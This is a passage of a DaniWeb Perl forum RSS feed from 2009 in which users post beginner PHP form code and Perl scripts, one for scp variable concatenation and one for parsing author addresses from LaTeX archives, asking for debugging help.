				&lt;/select&gt;&lt;/p&gt; &lt;/td&gt;<br />
		<br />
        &lt;/tr&gt;<br />
        &lt;tr&gt;<br />
      &lt;td&gt;&lt;font size=&quot;2&quot; &gt;Store No&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/font&gt;&lt;/td&gt;<br />
      &lt;?php<br />
				$qry = &quot;select STORENO,STORENAME FROM storemst WHERE STATUS = 1&quot;;<br />
				$result2 = mysql_query($qry);<br />
			?&gt;<br />
			&lt;td&gt;&lt;select name=&quot;cmbStoreID&quot;&gt; &lt;option&gt;Select Name&lt;/option&gt;<br />
			&lt;?php<br />
										<br />
				if (mysql_affected_rows()&gt;0)<br />
				{<br />
					while (list($k,$v) = mysql_fetch_array($result2))<br />
					{<br />
						echo &quot;&lt;option value='&quot;.$k.&quot;'&gt; (Id: $k) &quot;.$v.&quot;&lt;/option&gt;&quot;;	<br />
					}<br />
				}										<br />
			?&gt;<br />
				&lt;/select&gt; &lt;/td&gt;<br />
       &lt;td&gt;&lt;font size=&quot;2&quot; &gt;Required At&lt;/font&gt;&lt;/td&gt;<br />
      &lt;?php<br />
				$qry = &quot;select LOCATIONID,LOCATIONNAME FROM location WHERE STATUS = 1&quot;;<br />
				$result2 = mysql_query($qry);<br />
			?&gt;<br />
			&lt;td&gt;&lt;p&gt;&lt;select name=&quot;cmbRequiredAt&quot;&gt; &lt;option&gt;Select Name&lt;/option&gt;<br />
			&lt;?php<br />
										<br />
				if (mysql_affected_rows()&gt;0)<br />
				{<br />
					while (list($k,$v) = mysql_fetch_array($result2))<br />
					{<br />
						echo &quot;&lt;option value='&quot;.$k.&quot;'&gt; (Id : $k) &quot;.$v.&quot;&lt;/option&gt;&quot;;	<br />
					}<br />
				}										<br />
			?&gt;<br />
				&lt;/select&gt;&lt;/p&gt; <br />
           &lt;/td&gt;<br />
        &lt;/tr&gt;		 <br />
		&lt;table width=&quot;817&quot;&gt;<br />
            &lt;tr&gt;<br />
                &lt;td width=&quot;225&quot;&gt;&lt;font size=&quot;2&quot;&gt;Remarks&lt;/font&gt;&lt;/td&gt;<br />
                &lt;td width=&quot;651&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;txtRemarks&quot; id=&quot;txtRemarks&quot;  size=&quot;106&quot;value=&quot;&lt;?=$row['REMARKS']?&gt;&quot;&gt;&lt;/td&gt;<br />
                &lt;td width=&quot;22&quot;&gt;&lt;p&gt;&lt;input type=&quot;hidden&quot; name=&quot;hdn_total&quot;  id=&quot;hdn_total&quot; value=&quot;test&quot;&gt;<br />
                &lt;input type=&quot;hidden&quot; value=&quot;&lt;?=date('d-m-Y')?&gt;&quot; name=&quot;serverdate&quot; id=&quot;serverdate&quot;/&gt;<br />
                &lt;/p&gt;&lt;/td&gt;<br />
            &lt;/tr&gt;<br />
		&lt;/table&gt;<br />
        &lt;br /&gt;<br />
        &lt;table&gt;<br />
        &lt;tr&gt;<br />
		  &lt;td&gt;<br />
	  &lt;div style=&quot;overflow:auto;width:820px;auto;height:280px;border:#E78D2E solid 1px;&quot;&gt;<br />
	  &lt;table width=&quot;100%&quot; border=&quot;0&quot; id=&quot;tableId&quot; cellspacing=&quot;0&quot;  class='' cellpadding=&quot;0&quot;&gt;<br />
          &lt;tr class=&quot;table_heading&quot;&gt; <br />
            &lt;td width=&quot;2%&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;<br />
            &lt;td width=&quot;22%&quot;&gt;Item Code&lt;/td&gt;<br />
            &lt;td width=&quot;22%&quot;&gt;Item Name&lt;/td&gt;<br />
            &lt;td width=&quot;22%&quot;&gt;Description&lt;/td&gt;<br />
			&lt;td width=&quot;22%&quot;&gt;Unit&lt;/td&gt;<br />
            &lt;td width=&quot;22%&quot;&gt;Quantity&lt;/td&gt;<br />
          &lt;/tr&gt;<br />
        &lt;/table&gt;<br />
        &lt;script src=&quot;javascripts/dGrid.js&quot;&gt;&lt;/script&gt;<br />
		&lt;script language=&quot;javascript&quot;&gt;<br />
		var itemIDS = new Array();<br />
				&lt;?php<br />
				$sqlQry2		=	&quot;select ITEMCODE from itemmaster&quot;;<br />
				$getQry2		=	mysql_query($sqlQry2);<br />
				$count2			=	mysql_num_rows($getQry2); <br />
				$itr = 0;<br />
				while ($rows2 = mysql_fetch_array($getQry2))<br />
				{				<br />
					echo &quot;itemIDS[$itr] = '&quot;.$rows2['ITEMCODE'].&quot;';\n&quot;;<br />
					$itr++;<br />
				}<br />
		?&gt;<br />
		var error_onfield = null;<br />
		<br />
		<br />
		var Fileds 		=  ['ItemCode','ItemName','Description','Unit','Quantity'];<br />
		var Functions	=  ['showItemcode','showItemName',,'checkforerror','isNumberKey'];<br />
		//var Fileds 	=  ['ItemCode','ItemName','Description','unit','Quantity'];<br />
		//var Functions	=  ['showItemcode','showItemName','showDescription','showUnit'];<br />
		var DefaultRows	=	5;<br />
		//var UDefaultRows=	1;<br />
		<br />
		var Tbl	= new DGrid(&quot;tableId&quot;, DefaultRows, Fileds, Functions);<br />
		<br />
		function showItemcode(obj){<br />
			<br />
			var RowIndex  = obj.id.split('ItemCode');<br />
			var fillValue = &quot;ItemName&quot;+RowIndex[1];<br />
			var descr = &quot;Description&quot;+RowIndex[1];<br />
			var unit = &quot;Unit&quot;+RowIndex[1];<br />
			var options ={<br />
			script:&quot;autosuggest.php?limit=6&amp;searchby=ITEMCODE,ITEMNAME,DESCRIPTION,UNIT&amp;tablename=itemmaster&amp;orderby=ITEMCODE&amp;&quot;,<br />
			varname:&quot;input&quot;,<br />
			json:false,<br />
			shownoresults:false,<br />
			maxresults:6,<br />
			callback: function (obj) <br />
			{ <br />
				document.getElementById(fillValue).value = obj.info;<br />
				document.getElementById(descr).value = obj.desc;<br />
				document.getElementById(unit).value = obj.unit;<br />
				document.getElementById(unit).focus(); <br />
<br />
			}<br />
		};<br />
			<br />
		var as_json = new bsn.AutoSuggest(obj.id, options);<br />
			//alert(obj.name);<br />
		}<br />
		<br />
		function checkforerror()<br />
		{<br />
			if (error_onfield!= null)<br />
			{<br />
				error_onfield.focus();<br />
				error_onfield = null;<br />
			}<br />
		}<br />
		<br />
		function showItemName(obj){<br />
			<br />
			var RowIndex  = obj.id.split('ItemName');<br />
			var fillValue = &quot;ItemCode&quot;+RowIndex[1];<br />
			var descr = &quot;Description&quot;+RowIndex[1];<br />
			var unit = &quot;Unit&quot;+RowIndex[1];<br />
			var options ={<br />
			script:&quot;autosuggest.php?limit=6&amp;searchby=ITEMNAME,ITEMCODE,DESCRIPTION,UNIT&amp;tablename=itemmaster&amp;orderby=ITEMCODE&amp;&quot;,<br />
			varname:&quot;input&quot;,<br />
			json:false,<br />
			shownoresults:false,<br />
			maxresults:6,<br />
			callback: function (obj) <br />
			{ <br />
				document.getElementById(fillValue).value = obj.info;<br />
				document.getElementById(descr).value = obj.desc;<br />
				document.getElementById(unit).value = obj.unit;<br />
				document.getElementById(unit).focus(); <br />
<br />
			}<br />
		};<br />
			<br />
		var as_json = new bsn.AutoSuggest(obj.id, options);<br />
			//alert(obj.name);<br />
		}<br />
	&lt;/script&gt;<br />
<br />
		&lt;/div&gt;<br />
<br />
    <br />
<br />
&lt;table align=&quot;center&quot;&gt;<br />
&lt;tr&gt;<br />
		&lt;td width=&quot;1%&quot;&gt;&lt;div name=&quot;addtoGrid&quot; title=&quot;Add New Row&quot; onclick=&quot;javascript<b></b>:DGrid.addToGrid(UDefaultRows);&quot; id=&quot;addtoGrid2&quot; value=&quot;Add Row&quot;&gt;&lt;a class=&quot;actions&quot;&gt;&lt;img src=&quot;images/addrow.jpg&quot; width=&quot;20&quot; height=&quot;20&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;<br />
<br />
		&lt;td width=&quot;9%&quot;&gt;&lt;div name=&quot;addtoGrid&quot; title=&quot;Add New Row&quot; onclick=&quot;javascript<b></b>:DGrid.addToGrid(UDefaultRows);&quot; id=&quot;addtoGrid2&quot; value=&quot;Add Row&quot;&gt;<br />
        &lt;a class=&quot;actions&quot;&gt;Add Row&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;<br />
		&lt;td width=&quot;1%&quot;&gt;&lt;div onclick=&quot;validateForm();&quot; title=&quot;Raise Material Request&quot;&gt;&lt;a class=&quot;actions&quot;&gt;&lt;img src=&quot;images/add.jpg&quot; width=&quot;20&quot; height=&quot;20&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;<br />
		&lt;td width=&quot;15%&quot;&gt;&lt;div onclick=&quot;validateForm();&quot; title=&quot;Raise Material Request&quot;&gt;&lt;a class=&quot;actions&quot;&gt;Raise Request&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;<br />
        &lt;td width=&quot;1%&quot;&gt;&lt;div onClick=&quot;editpirForm()&quot; title=&quot;Edit a Material Request&quot;&gt;&lt;a class=&quot;actions&quot;&gt;&lt;img src=&quot;images/edit.jpg&quot; width=&quot;20&quot; height=&quot;20&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;<br />
		&lt;td width=&quot;8%&quot;&gt;&lt;div onClick=&quot;editpirForm()&quot; title=&quot;Edit a Material Request&quot;&gt;&lt;a class=&quot;actions&quot;&gt;Edit&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;<br />
		&lt;td width=&quot;1%&quot;&gt;&lt;div title=&quot;Close this Screen&quot;&gt;&lt;a class=&quot;actions&quot;&gt;&lt;img src=&quot;images/close.jpg&quot; width=&quot;20&quot; height=&quot;20&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;<br />
		&lt;td&gt;&lt;div width=&quot;73%&quot; title=&quot;Close this Screen&quot;&gt;&lt;a class=&quot;actions&quot;&gt;Close&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/table&gt;<br />
			&lt;/td&gt;<br />
		 &lt;/tr&gt; <br />
        <br />
			&lt;/table&gt;<br />
	<br />
	&lt;/table&gt;<br />
	&lt;/fieldset&gt;<br />
    &lt;/td&gt;	<br />
    	&lt;/tr&gt;<br />
    &lt;/table&gt; <br />
	 	&lt;/td&gt;<br />
         &lt;/tr&gt;<br />
          	&lt;tr&gt; <br />
        	&lt;td colspan=&quot;2&quot;&gt;&lt;?php include'footer.php' ?&gt;&lt;/td&gt; <br />
 			&lt;/tr&gt;<br />
	   &lt;/table&gt; <br />
<br />
       &lt;/div&gt;<br />
&lt;/form&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>sen1978</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread236703.html</guid>
		</item>
		<item>
			<title>variable concat and exec cmd question</title>
			<link>http://www.daniweb.com/forums/thread236620.html</link>
			<pubDate>Fri, 06 Nov 2009 18:40:42 GMT</pubDate>
			<description><![CDATA[basically i need to have 2 variables.. concat them and put them into use.  
 
here is what i have done so far:  
 
  <div class="codeblock"> <div class="spaced"> <div style="float:right; margin-right:10px"> <a href="/forums/misc.php?do=explaincode&amp;TB_iframe=true&amp;height=400&amp;width=680"...]]></description>
			<content:encoded><![CDATA[<div>basically i need to have 2 variables.. concat them and put them into use. <br />
<br />
here is what i have done so far: <br />
<br />
 <pre style="margin:20px; line-height:13px">#!/usr/bin/perl<br />
<br />
$stats = ':/var/tmp/RtcTestHarness/currentTransactionStats.txt';<br />
$console = ':/var/tmp/RtcTestHarness/TestHarnessConsole.log';<br />
<br />
$client_1 = '9.34.120.36';<br />
<br />
#$com = $client_1.$stats;<br />
#print $com;&nbsp; &nbsp; &nbsp; &nbsp;  the concat here looks fine...<br />
&nbsp;<br />
system (&quot;scp $client_1.$currentTranStats .&quot;);</pre><br />
<br />
anything wrong? missing the usage of chomp?</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>k2k</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread236620.html</guid>
		</item>
		<item>
			<title>LaTex::parser module problem</title>
			<link>http://www.daniweb.com/forums/thread236610.html</link>
			<pubDate>Fri, 06 Nov 2009 17:19:27 GMT</pubDate>
			<description><![CDATA[Hi everyone, 
 
I am using this code to parse data from latex files : 
  <div class="codeblock"> <div class="spaced"> <div style="float:right; margin-right:10px"> <a href="/forums/misc.php?do=explaincode&amp;TB_iframe=true&amp;height=400&amp;width=680" class="thickbox" title="Help with Code Tags"...]]></description>
			<content:encoded><![CDATA[<div>Hi everyone,<br />
<br />
I am using this code to parse data from latex files :<br />
 <pre style="margin:20px; line-height:13px">#!/Applications/xampp/xamppfiles/bin/perl<br />
use strict;<br />
use File::Copy;<br />
use LaTex::Parser;<br />
use Text::CSV_XS;<br />
use utf8;<br />
use Unicode::String;<br />
<br />
Unicode::String-&gt;stringify_as( 'utf8' ); # utf8 already is the default<br />
<br />
&nbsp; <br />
&nbsp;#see Ch 7.1 of Data Munging with Perl<br />
<br />
&nbsp;my $output = &quot;ID+add.txt&quot;;<br />
<br />
&nbsp;open (LAT_LON_OUT_FILE, &quot;&gt; $output&quot;) or die &quot;Couldn't open $output for writing: $!\n&quot;;<br />
&nbsp;binmode LAT_LON_OUT_FILE, &quot;:utf8&quot;;<br />
<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
#This routine is supposed to work in the dir where the .tar.gz files are<br />
#It extracts each .tar.gz file into a temp directory<br />
my $tdir = 'temp';<br />
mkdir $tdir;<br />
<br />
my @flist=&lt;*.tar.gz&gt;;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
chdir $tdir;<br />
my $not_processed = 0; #Number of files that the script cannot process<br />
my $number_of_papers = 0;<br />
my $file_cat = &quot; &quot;;<br />
<br />
#Go through all the .tar.gz files in current dir<br />
foreach my $item (@flist)<br />
{<br />
&nbsp; &nbsp; unlink glob &quot;*.*&quot;;&nbsp; &nbsp; &nbsp; #erase all files in dir $tdir&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; #go through .tar.gz files and uncompress them<br />
&nbsp; &nbsp; copy &quot;../$item&quot;, &quot;$item&quot;;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #copy .gz file to temp dir ...<br />
&nbsp; &nbsp; print&quot;$item\n&quot;;<br />
&nbsp; &nbsp; system &quot;gzip -dnv $item&quot;;&nbsp; &nbsp; &nbsp; &nbsp;  #ungzip ...<br />
&nbsp; &nbsp; my $ftar = substr($item,0,-3);&nbsp; #remove extension .gz ...<br />
&nbsp; &nbsp; print&quot;$ftar\n&quot;;<br />
&nbsp; &nbsp; my $tar_error = system &quot;tar -xm -f $ftar&quot;;&nbsp; #and untar&nbsp; &nbsp; <br />
&nbsp;<br />
&nbsp; &nbsp;  #untar may not work if archive has only one file. In that case <br />
&nbsp; &nbsp;  #gzip gave already a tex file -just need to rename it.<br />
&nbsp; &nbsp;  if ($tar_error)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp;  {&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp;  rename &quot;$ftar&quot;, substr($ftar,0,-4).&quot;.tex&quot;;<br />
&nbsp; &nbsp;  }<br />
&nbsp; &nbsp;  else<br />
&nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp;  unlink $ftar;&nbsp; &nbsp; &nbsp;  #tar file needs to be deleted, otherwise it will be in @textlist<br />
&nbsp; &nbsp;  }<br />
&nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; # Let's extract the data of the corresponding ABS file first..<br />
<br />
&nbsp; &nbsp; my $file_ID = substr($ftar,0,-4);<br />
<br />
&nbsp; &nbsp; my $input_file = &quot;../&quot;. $file_ID . &quot;.abs&quot;;<br />
&nbsp; &nbsp; open (MYINPUTFILE, &quot;$input_file&quot;) or die &quot;Couldn't open $input_file for reading: $!\n&quot;; # open for input<br />
&nbsp; &nbsp; my $file_content = &quot;FILE: \n&quot;;<br />
&nbsp; &nbsp; while ( &lt;MYINPUTFILE&gt; )<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; $file_content = $file_content . $_;<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; close(MYINPUTFILE);<br />
&nbsp; &nbsp; &nbsp; &nbsp; #$file_content =~ s/\n/\t/g;&nbsp;  #to make more clear where are the separators..<br />
&nbsp; &nbsp; &nbsp; &nbsp; # print &quot;$file_content\n&quot;;sleep 5;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $file_content =~ /\nDate:\s\S+,\s([^\n]+)\s\s\(/;<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $file_date = $1;<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; $file_content =~ /\nTitle:\s([^\n]+)/;<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $file_tit = $1;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $file_content =~ /\nAuthors:\s([^\n]+)/;<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $file_auth = $1;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $file_content =~ /\nCategories:\s([^\n]+)/;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $file_cat = $1;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp;  <br />
<br />
&nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; <br />
&nbsp; <br />
&nbsp; &nbsp;  #process TeX files. Note that some of the files had extension .tex whereas others had .latex or .txt<br />
&nbsp; &nbsp;  #note that there is a problem in looking just for &lt;*.*t*&gt; -you also get .sty files, which are style files!<br />
&nbsp; &nbsp;  my @texlist;<br />
&nbsp; &nbsp;  my @texlist1 = &lt;*.latex&gt;;<br />
&nbsp; &nbsp;  my @texlist2 = &lt;*.tex&gt;;<br />
&nbsp; &nbsp;  my @texlist3 = &lt;*.txt&gt;;<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp;  push(@texlist, @texlist1);<br />
&nbsp; &nbsp;  push(@texlist, @texlist2);<br />
&nbsp; &nbsp;  push(@texlist, @texlist3);<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp;  my $valid_zip = 0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #Is zip code valid?<br />
&nbsp; &nbsp;  my @author;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #Array with authors/addresses<br />
&nbsp; &nbsp;  my $author_index = 0;&nbsp;  #Index into @author<br />
&nbsp; &nbsp;  my $aux1 = 0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #American-like post code detected?<br />
&nbsp; &nbsp;  my $myflag = 0;<br />
&nbsp;<br />
&nbsp; print STDERR &quot;test100......................\n&quot;;<br />
&nbsp;  <br />
&nbsp; &nbsp;  #Go through .TeX files in dir $tdir and assign @author<br />
&nbsp; &nbsp;  foreach my $texfile (@texlist)<br />
&nbsp; &nbsp;  {&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp;  #print LAT_LON_OUT_FILE &quot;$ftar \n&quot;;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp;  my $l = new LaTeX::Parser 'file' =&gt; $texfile;<br />
&nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp;  printf(&quot;aaaa %s\n&quot;, $texfile);<br />
<br />
<br />
&nbsp;print STDERR &quot;test100......................\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp;  my $p = $l-&gt;latex;<br />
&nbsp; print STDERR &quot;test100......................\n&quot;;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp;  my $next_field = 0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #if $next_field=1 then next field is author; $next_field=2 then next field is address<br />
&nbsp; &nbsp; &nbsp; &nbsp;  my $ambiguous_field = 1;&nbsp; &nbsp;  #sometimes the author and address are ambiguous. Detect these.<br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; <br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp;  #Go through TeX fields in files and assign array @author<br />
&nbsp; &nbsp; &nbsp; &nbsp;  for (my $i=0; $i&lt;=$#{$p}; $i++)<br />
&nbsp; &nbsp; &nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  my $authorfield = $p-&gt;[$i]; #contains LaTeX fields<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #Some author/address fields are empty others don't have a LateX field '{' -skip them<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  next if (($next_field == 1 || $next_field == 2) &amp;&amp; (!($authorfield =~ /\w/) || !($authorfield =~ /\{/)));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #Assign author field]<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if ($next_field == 1 || ($authorfield =~ /\\large/i) || ($authorfield =~ /\\small/i)) <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $author[$author_index] = &quot;author: &quot;.$authorfield;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $next_field = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $author_index++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $ambiguous_field = 0;&nbsp;  #We have detected an author field, so file is unambiguous<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #Assign address field<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if ($next_field == 2)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $author[$author_index] = &quot;address: &quot;.$authorfield;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $next_field = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $author_index++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $ambiguous_field = 0;&nbsp;  #We have detected an address field, so file is unambiguous<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #next field to be read will be the author<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $next_field = 1 if (($authorfield =~ /\\aut(?:\w)+/) || ($authorfield =~ /\\large/i) || ($authorfield =~ /\\center/i) || ($authorfield =~ /\\small/i));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #next field to be read will be the address<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $next_field = 2 if ($authorfield =~ /\\add(?:\w)+/) || ($authorfield =~/\\affi(?:\w)+/) || ($authorfield =~ /\\inst(?:\w)*/) || (($authorfield =~/\{\d\}/) and ($myflag == 1));<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #two fields after will be an address<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if ($authorfield =~/\\altaffiltext\s?/) { $myflag = 1;}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #if (($authorfield =~/\{\d\}/) and ($myflag == 1)){ $myflag = 2;}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (($authorfield =~/\{([^=]+,+[^=]+)\}/) and ($myflag == 1)) {$myflag = 0;}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #we are only interested in the header of the paper, so if you find abstract<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #and you have found author/address then end loop&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  last if ($authorfield&nbsp; =~ /^\{abst(?:\w)+/ &amp;&amp; !$ambiguous_field);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp;  }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp;  #Skip files that do not have author/address<br />
&nbsp; &nbsp; &nbsp; &nbsp;  next if ($ambiguous_field);&nbsp; &nbsp; <br />
<br />
<br />
&nbsp; &nbsp; &nbsp; <br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp;  #Check zip codes<br />
&nbsp; &nbsp; &nbsp; &nbsp;  my $author_only = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp;  $aux1 = 0; my $aux2 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp;  $valid_zip = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp;  foreach my $adr (@author)<br />
&nbsp; &nbsp; &nbsp; &nbsp;  {&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #Look for zip code if field is address or if there is no address field in the @author array<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  #(in which case the address will be in the author field)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if ($adr =~ /address/ || !(grep {/address/} @author))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print STDERR &quot;test5......................\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #$adr =~ /address: \{([^=]+,+[^=]+)\}/;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $adr =~ /address: \{([^=]+,+[^=]+)\}/;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print STDERR &quot;test6......................\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if($adr =~ /address: \{([^=]+,+[^=]+)\}/)&nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $adr = $1;<br />
